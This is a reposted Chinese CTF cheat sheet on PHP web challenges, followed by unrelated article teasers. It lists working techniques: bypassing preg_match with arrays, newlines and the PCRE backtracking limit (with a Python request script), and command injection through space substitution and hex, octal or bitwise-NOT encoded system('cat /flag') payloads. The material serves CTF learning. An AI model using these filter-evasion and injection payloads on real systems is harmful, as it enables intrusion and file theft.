ctf web基础php

1.preg_match函数绕过

1.数组绕过

<?php
$pass=$_GET['zx'];
if(!preg_match("/admin/",$zx)==false){die('hacker');
}
echo 'flag';
?>

?zx[]=admin

2.换行符绕过

<?php
$pass=$_GET['zx'];
if(!preg_match("/^.(admin).$/",$zx)==false){die('hacker');
}
echo 'flag';
?>

?zx=%20admin

3.利用PCRE回溯次数限制绕过

function jiuzhe($xdmtql){ return preg_match('/sys.*nb/is',$xdmtql); } $xdmtql=@$_POST['xdmtql']; if(!is_array($xdmtql)){ if(!jiuzhe($xdmtql)){ if(strpos($xdmtql,'sys nb')!==false){ echo 'flag{*******}'; }else{ echo 'true .swp file?'; } }else{echo 'nijilenijile';} 
}

这里is_arry过滤数组 

import requests
url='http://80b45bdd-e6de-4193-bc46-58bb19fc477f.www.polarctf.com:8090/'
data={'xdmtql':'sys nb'+"aaaaa" * 1000000}
r= requests.post(url=url,data=data)
print(r.text)

2.rce

1.找未过滤字符

1.命令执行函数

system() - 执行命令,返回最后一条命令输出
exec() - 执行命令,返回命令全部输出
shell_exec() - 通过shell执行命令,返回全部输出
passthru() - 执行命令,输出原始返回值
popen() - 打开管道执行命令

2.读取文件命令

cat -读取文件内容并输出
more - 分屏显示文件内容
less - 分页方式读取文件内容
head - 输出文件头部内容
tac - 从最后一行开始反向输出文件内容
tail - 输出文件尾部内容
nl - 输出行号和内容
od - 以二进制的方式读取档案内容
hd/hexdump - 以十六进制显示文件内容
strings - 输出二进制文件中的可打印字符串
sort - 对文本文件中的行进行排序
uniq - 去除文本文件中的重复行、

3.空格替代

<
<>
${IFS}
$IFS
%20(space)
%09(tab)
$IFS$9
$IFS$1

2.字符串转义绕过

字符串转义绕过
适用PHP版本:PHP>=7
\x73\x79\x73\x74\x65\x6d\x27\x27\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x27\x29;
#system('cat /flag') \x表示16进制
;
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51
#system('cat /flag'); \8进制
\u{115}\u{121}\u{115}\u{116}\u{101}\u{109}\u{40}\u{39}\u{99}\u{97}\u{116}\u{32}\u{47}\u{102}\u{108}\u{97}\u{103}\u{39}\u{41}
;#system('cat /flag');
\163\171\163\164\145\155\52\47\143\141\164\40\57\146\154\141\147\47\51("\167\150\157\141\155\151")
#system('cat /flag');

3.取反

<?php
var_dump(urlencode(~"system"));
var_dump(urlencode(~"cat /flag"));
?>string(18) "%8C%86%8C%8B%9A%92"
string(27) "%9C%9E%8B%DF%D0%99%93%9E%98"

xdmtql=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/83202.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自定义权限指令与防止连点指令

1.权限指令 // 注册一个全局自定义权限指令 v-permission Vue.directive(permission, {inserted: function(el, binding, vnode) {const {value} binding; // 指令传的值// user:edit:phone,sysData:sampleconst permissions [user:edit:address, sysData:entrust, sysData:…

vscode编写前端提升效率的三个必不可缺的插件以及使用方法

直接官网下载这个软件就行&#xff0c;没什么操作的。 这里面有新建文件夹&#xff0c;你可以自己去建一个文件夹 然后点击那个小号&#xff0c;就可以新建一个文件&#xff0c;比如说demo01.html,⚠️后面的html是你需要自己手动输入的 第一个插件&#xff0c;就是这个她可以让…

合肥先进光源国家重大科技基础设施项目及配套工程启动会纪念

合肥先进光源国家重大科技基础设施项目及配套工程启动会纪念 卡西莫多 合肥长丰岗集里 肥鸭从此别泥塘 先平场地设围栏 进而工地筑基忙 光阴似箭指日争 源流汇智山水长 国器西北扩新地 家校又添新区园 重器托举有群力 大步穿梭两地间 科教兴邦大国策 技术盈身坦荡行…

arcgis 面要素相交

假设有绿色面图层和紫色面图层&#xff0c;绿色图层有两个区域aa和bb&#xff0c;现在想得到紫色图层分别落在aa和bb上的部分&#xff0c;并附上属性值。 要用到相交功能。 ArcToolbox - Analysis Tools - Overlay - Intersect 输入&#xff1a;把涉及到的两个图层都输入进去…

【前端知识】Three 学习日志(九)—— 阵列立方体和相机适配体验

Three 学习日志&#xff08;九&#xff09;—— 阵列立方体和相机适配体验 一、双层for循环创建阵列模型 //创建一个长方体几何对象Geometry const geometry new THREE.BoxGeometry(100, 100, 100); //材质对象Material const material new THREE.MeshLambertMaterial({col…

STM32f103入门(12)USART串口信息发送+接收

USART 介绍串口发送使用工具初始化发送数据接收数据 介绍 电平标准是数据1和数据0的表达方式&#xff0c;是传输线缆中人为规定的电压与数据的对应关系&#xff0c;串口常用的电平标准有如下三种&#xff1a; TTL电平&#xff1a;3.3V或5V表示1&#xff0c;0V表示0 RS232电平&…

springboot开发登录拦截器

开发登录拦截器LoginInterceptor package com.gen.genonlineclassroom.interceptor;import cn.hutool.core.util.StrUtil; import com.gen.genonlineclassroom.entity.User; import com.gen.genonlineclassroom.enums.ResponseCodeEnum; import com.gen.genonlineclassroom.exc…

AI数字人虚拟主播,跟传统主播相比有哪些优势,究竟谁更胜一筹?

在今年&#xff0c;AI人工智能技术得到了快速发展&#xff0c;AI数字人开始大面积进入我们的生活&#xff0c;我们经常可以在各大直播间刷到AI数字人虚拟主播。 这些主播光从表面上来看&#xff0c;完全跟真人一模一样&#xff0c;一样的容貌、一样的身形、一样的声音&#xf…

133. 克隆图

133. 克隆图 题目-中等难度示例1. bfs 题目-中等难度 给你无向 连通 图中一个节点的引用&#xff0c;请你返回该图的 深拷贝&#xff08;克隆&#xff09;。 图中的每个节点都包含它的值 val&#xff08;int&#xff09; 和其邻居的列表&#xff08;list[Node]&#xff09;。…

CocosCreator3.8研究笔记(十五)CocosCreator 资源管理Asset Bundle

在资源管理模块中有一个很重要的功能&#xff1a; Asset Bundle&#xff0c;那什么是Asset Bundle &#xff1f;有什么作用&#xff1f;怎么使用 Asset Bundle呢 &#xff1f; 一、什么是Asset Bundle &#xff1f;有什么作用&#xff1f; 在日常游戏开发过程中&#xff0c;为了…

公转私到底怎么转才安全?通过这两种方法合理节税!

《梅梅谈税》专注于企业税务筹划&#xff01;助力企业合理、合规、合法进行节税税收筹划&#xff01; 公司本就是一个盈利的组织形式 &#xff0c;成立公司就是为了赚钱&#xff0c;公司赚了钱&#xff0c;就要转至私人账户自由支配&#xff0c;怎么合理从公司拿钱出来这也让很…

管理者,怎样招到合适的人?

导语: 企业的成功离不开优秀的人才&#xff0c;而招聘是引入人才的关键环节。本文将分享一些招聘合适人才的秘诀&#xff0c;帮助您提高招聘的效果。 明确岗位需求和招聘目标: 在开始招聘之前&#xff0c;确保您清楚地了解所需岗位的具体职责和技能要求。制定一份清晰的招聘目…

Python 中的 sscanf() 函数

文章目录 Python 中的 sscanf() 功能使用 re 库中的正则表达式使用Neuron库 函数 sscanf() 来自编程语言 C 和 C。 虽然 Python 没有为此方法提供任何完全等效的方法或库&#xff0c;但可能有其他方法来执行此功能。 这篇 Python 文章将使您更好地理解 sscanf() 必须提供什么以…

几个国内可用的强大的GPT工具

前言&#xff1a; 人工智能发布至今&#xff0c;过去了九个多月&#xff0c;已经成为了我们不管是工作还是生活中一个重要的辅助工具&#xff0c;大大提升了效率&#xff0c;作为一个人工智能的自然语言处理工具&#xff0c;它给各大行业的提供了一个巨大的生产工具&#xff0c…

玩转Mysql系列 - 第21篇:什么是索引?

这是Mysql系列第21篇。 本文开始连续3篇详解mysql索引&#xff1a; 第1篇来说说什么是索引&#xff1f; 第2篇详解Mysql中索引的原理 第3篇结合索引详解关键字explain 本文为索引第一篇&#xff1a;我们来了解一下什么是索引&#xff1f; 路人在搞计算机之前&#xff0c;…

002-第一代硬件系统架构确立及产品选型

第一代硬件系统架构确立及产品选型 文章目录 第一代硬件系统架构确立及产品选型项目介绍摘要硬件架构硬件结构选型及设计单片机选型上位机选型扯点别的 关键字&#xff1a; Qt、 Qml、 信号采集机、 数据处理、 上位机 项目介绍 欢迎来到我们的 QML & C 项目&#xff…

从零学习开发一个RISC-V操作系统(一)丨计算机组成原理相关知识与RISC-V指令集简介

本篇文章的内容 一、计算机组成原理的相关知识1.1 计算机的硬件组成1.2 程序的存储与执行1.3 程序语言的设计和进化1.4 存储设备的层次结构1.5 操作系统 二、RISC-V的指令集ISA简介2.1 什么是ISA2.2 复杂指令集&#xff08;CISC&#xff09;和精简指令集&#xff08;RISC&#…

五个很实用的IDEA使用技巧

日常开发中&#xff0c;相信广大 Java 开发者都使用过 IntelliJ IDEA 作为开发工具&#xff0c;IntelliJ IDEA 是一款优秀的 Java 集成开发环境&#xff0c;它提供了许多强大的功能和快捷键&#xff0c;可以帮助开发者提高编码效率和质量。除了一些常见的技巧&#xff0c;如自动…

C++ explicit的作用

注&#xff1a;内容参考学习 Leetcode 上的《C面试突破》 一、作用 用来声明类构造函数是显示调用的&#xff0c;而非隐式调用&#xff0c;可以阻止调用构造函数时进行隐式转换和赋值初始化。注意&#xff1a;只可用于修饰单参构造函数&#xff0c;因为无参构造函数和多参构…

delphi Variant 与 流(TStream)相互转换

Variant 与 流&#xff08;TStream&#xff09;相互转换 代码 Variant转TStream procedure VariantToStream(Stream: TStream; const Value: Variant); varp: Pointer; beginif VarIsNull(Value) or VarIsEmpty(Value) thenExit;Stream.Size : VarArrayHighBound(Value, 1) …